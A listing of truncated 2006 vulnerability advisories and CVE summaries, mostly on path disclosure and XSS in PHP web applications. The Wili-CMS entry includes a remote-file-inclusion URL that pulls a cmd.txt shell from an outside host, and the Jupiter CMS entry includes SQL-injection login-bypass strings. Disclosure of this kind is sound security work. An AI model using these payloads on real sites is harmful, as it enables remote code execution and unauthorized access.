zenphoto Multiple Path Disclosure and Cross Site Scripting Vulnerabilities

Vendor: zenphoto Vulnerable: zenphoto 1.0.2 beta and below The vendor has been warned and the vulnerabilities have been addressed in 1.0.3 beta. Path Disclosure --------------- http://www.example.com/photos/zen/i.php?a=EXISTINGALBUMNAME&i=EXISTINGIMAGENAME&s=thumb00 which returns: Warning:...

CVE-2006-4971

CVE-2006-4971 affects MyBB (MyBulletinBoard). A direct request to inc/plugins/hello.php allows remote attackers to trigger an error message that reveals the server path, exposing sensitive information. Impact: partial confidentiality. CVSS v2 base score: 5.0 (MEDIUM) . The supplied documents do n...

CVE-2006-4976

The Date Library in John Lim ADOdb Library for PHP allows remote attackers to obtain sensitive information via a direct request for 1 server.php, 2 adodb-errorpear.inc.php, 3 adodb-iterator.inc.php, 4 adodb-pear.inc.php, 5 adodb-perf.inc.php, 6 adodb-xmlschema.inc.php, and 7 adodb.inc.php; files ...

CVE-2006-4938

help.php in Moodle before 1.6.2 does not check the existence of certain help files before including them, which might allow remote authenticated users to obtain the path in an error message...

CVE-2006-4938

help.php in Moodle before 1.6.2 does not check the existence of certain help files before including them, which might allow remote authenticated users to obtain the path in an error message...

Google Mini Search Applicance Path Disclosure

aushack.com - Vulnerability Advisory ----------------------------------------------- Release Date: 22-Sep-2006 Software: Google Inc - Google Mini Search Appliance http://www.google.com.au/enterprise/mini/index.html "The Google Mini delivers cost-effective, high-quality search for your public...

CVE-2006-4939

CVE-2006-4939 affects Moodle prior to 1.6.2. The vulnerable component is backup/backup_scheduled.php. The issue is that when debugging is disabled, the code generates trace data that includes the full backup pathname, potentially letting an attacker obtain the pathname. The impact is partial conf...

CVE-2006-4938

help.php in Moodle before 1.6.2 does not check the existence of certain help files before including them, which might allow remote authenticated users to obtain the path in an error message...

Multiple CA eTrust Security Command Center / eTrust Audit security vulnerabilities

Path disclosure, directory traversal, replay attacks...

jevoncms (.inc) Path Disclosure

jevoncms .inc Path Disclosure Affected Software .: jevoncms download..: http://sourceforge.net/project/showfiles.php?groupid=91794 Class .............: Path Disclosure Risk ..............: high Found by ..........: CvIr.System Contact ...........: CvIr.Systematgmail.com Affected File:...

CVE-2006-4899

CVE-2006-4899 affects CA eTrust Security Command Center (SCC) 1.0 and r8 up to SP1 CR2 on Windows. The ePPIServlet script’s PIProfile function leaks the web server path via a single quote in an error message, enabling remote attackers to discover the server path. This vulnerability’s impact is th...

Wili-CMS 0.1.1 - Remote File Inclusion Cross-Site Scripting Full Path Disclosure

Wili-CMS 0.1.1 - Remote File Inclusion Cross-Site Scripting Full Path Disclosure Wili-CMS Multiple Input Validation Vulnerabilities Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] Remote include...

Wili-CMS 0.1.1 - Remote File Inclusion / Cross-Site Scripting / Full Path Disclosure

Wili-CMS Multiple Input Validation Vulnerabilities Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] Remote include example-view/templates/article.php?globalscontentdir=http://psevil.googlepages.com/cmd.txt?...

CA eSCC r8/1.0 / eTrust Audit r8/1.5 - Web Server Full Path Disclosure

source: https://www.securityfocus.com/bid/20139/info CA eTrust Security Command Center eSCC and eTrust Audit are prone to multiple vulnerabilities, including: - an information-disclosure issue - an arbitrary-file-deletion issue - a replay issue. These vulnerabilities occur because the software...

[RLSA_02-2006] OSU httpd for OpenVMS path and directory disclosure - is this a bug or a feature?

rfdslabs security advisory Title: OSU httpd for OpenVMS path and directory disclosure - is this a bug or a feature? RLSA02-2006 Versions: OSU/3.11alhpa, OSU/3.10a probably others Vendor: David Jones, Ohio State University http://www.ecr6.ohio-state.edu/www/doc/serverinfo.html Date: 18 May 2006...

OSU HTTP Server 3.10/3.11 - Multiple Information Disclosure Vulnerabilities

source: https://www.securityfocus.com/bid/20098/info OSU Ohio State University HTTP server is prone to multiple information-disclosure vulnerabilities. This may allow a malicious user to gain access to sensitive data; information gained may aid in further attacks. Versions 3.11a and 3.10a are...

Jupiter CMS Multiple injections

Hello,, Jupiter CMS Sql injections ,full path and xss vulnerabilities Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] if magicquotesgpc = off login with user name : ' or id=1/ or ' or authorization = 4/ you will be loged in...

CVE-2006-4837

CVE-2006-4837 affects DCP-Portal SE 6.0. The issue is described as multiple PHP remote file inclusion vulnerabilities allowing an attacker to execute arbitrary PHP code via a URL in the root parameter of two scripts: library/lib.php and library/editor/editor.php. A related behavior can trigger fu...

DEBIAN-CVE-2006-4743

WordPress 2.0.2 through 2.0.5 allows remote attackers to obtain sensitive information via a direct request for 1 404.php, 2 akismet.php, 3 archive.php, 4 archives.php, 5 attachment.php, 6 blogger.php, 7 comments.php, 8 comments-popup.php, 9 dotclear.php, 10 footer.php, 11 functions.php, 12...

CVE-2006-4754

Cross-site scripting XSS vulnerability in index.php in PHProg before 1.1 allows remote attackers to inject arbitrary web script or HTML via the album parameter, which is used in an opendir call. NOTE: the same primary issue can be used for full path disclosure with an invalid parameter that revea...